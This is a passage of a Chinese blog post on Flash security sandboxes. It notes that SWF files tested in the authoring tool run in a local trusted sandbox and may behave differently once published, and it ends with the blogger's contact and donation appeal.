大多數(shù)Flash內(nèi)容都是為網(wǎng)絡(luò)創(chuàng)建的,所以通常不需要完全理解本地的安全沙箱機制。但是開發(fā)和測試是一個例外。Flash編輯器在測試的時候就是把SWF放在一個本地受信的安全沙箱里面。這有可能會造成與真正發(fā)布的SWF情況不同的結(jié)果,因為兩者的安全沙箱不同。比如你測試的時候可以從沒有授信的外部域讀取內(nèi)容,而真正發(fā)布到網(wǎng)站上的SWF卻無法加載。所以當(dāng)你測試的時候要注意,你所看到的結(jié)果和最終發(fā)布的版本有可能不一樣。
你可以到 Flash Player Developer Center (adobe.com)的 Security section 查看更詳細的安全相關(guān)信息。
第一部分到此結(jié)束,第二部分Application Domain請 點擊 。
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
